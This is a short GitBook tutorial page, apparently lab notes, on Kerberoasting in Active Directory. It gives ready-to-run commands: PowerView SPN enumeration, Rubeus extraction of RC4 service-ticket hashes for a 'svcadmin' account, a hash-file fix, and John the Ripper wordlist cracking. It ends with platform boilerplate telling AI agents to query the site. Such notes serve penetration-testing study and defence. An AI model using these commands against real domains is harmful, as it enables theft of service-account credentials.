> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/attacks/kerberoast-attack.md).

# Kerberoast attack

Kerberoasting is a post-exploitation attack technique used against Microsoft Active Directory environments. It allows attackers to extract and crack service account credentials by abusing the Kerberos authentication protocol. The attack targets service accounts that use Kerberos for authentication and have Service Principal Names (SPNs) registered in Active Directory.

We first need to find out services running with user accounts as the services running with machine accounts have difficult passwords. We can use PowerView's (Get-DomainUser -SPN) or ActiveDirectory module for discovering such services:

```
Get-DomainUser -SPN
```

We can use Rubeus to get hashes for the svcadmin account. Note that we are using the /rc4opsec option that gets hashes only for the accounts that support RC4. This means that if 'This account supports Kerberos AES 128/256 bit encryption' is set for a service account, the below command will not request its hashes.

```
C:\AD\Tools\Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec /outfile:C:\AD\Tools\hashes.txt
```

* We can now use John the Ripper to brute-force the hashes. Please note that you need to remove ":1433" from the SPN in hashes.txt before running John ***$krb5tgs$23$svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorpmgmt.dollarcorp.moneycorp.local :1433 should be $krb5tgs$23$svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorpmgmt.dollarcorp.moneycorp.local in hashes.txt***

Run the below command after making above changes

```
c:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://omar-4.gitbook.io/omar-docs/attacks/kerberoast-attack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
